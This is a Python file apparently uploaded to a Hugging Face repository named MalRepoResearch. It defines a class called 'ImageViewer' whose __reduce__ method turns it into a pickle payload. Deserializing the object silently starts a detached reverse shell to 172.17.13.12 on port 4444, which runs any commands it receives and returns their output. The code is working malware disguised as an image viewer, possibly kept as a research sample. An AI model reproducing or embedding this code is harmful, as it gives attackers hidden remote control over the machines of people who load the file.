MalRepoResearch / view_image.py
JonasBeking's picture
Upload folder using huggingface_hub
b62d5f8 verified
import subprocess
import sys
import os
class ImageViewer:
def __init__(self, attacker_ip="172.17.13.12", attacker_port=4444):
self.ip = attacker_ip
self.port = attacker_port
def __reduce__(self):
return (self._spawn_detached_shell, (self.ip, self.port))
@staticmethod
def _spawn_detached_shell(attacker_ip, attacker_port):
code = f'''
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{attacker_ip}", {attacker_port}))
while True:
s.send(b"$ ")
cmd = s.recv(1024).decode()
if cmd.strip() in {{"exit", "quit"}}:
break
try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
output = e.output
s.send(output)
s.close()
'''
if sys.platform == "win32":
DETACHED_PROCESS = 0x00000008
subprocess.Popen([sys.executable, "-c", code],
creationflags=DETACHED_PROCESS,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
stdin=subprocess.DEVNULL,
close_fds=True)
else:
# Unix-like: start new session to detach process
subprocess.Popen([sys.executable, "-c", code],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
stdin=subprocess.DEVNULL,
preexec_fn=os.setsid,
close_fds=True)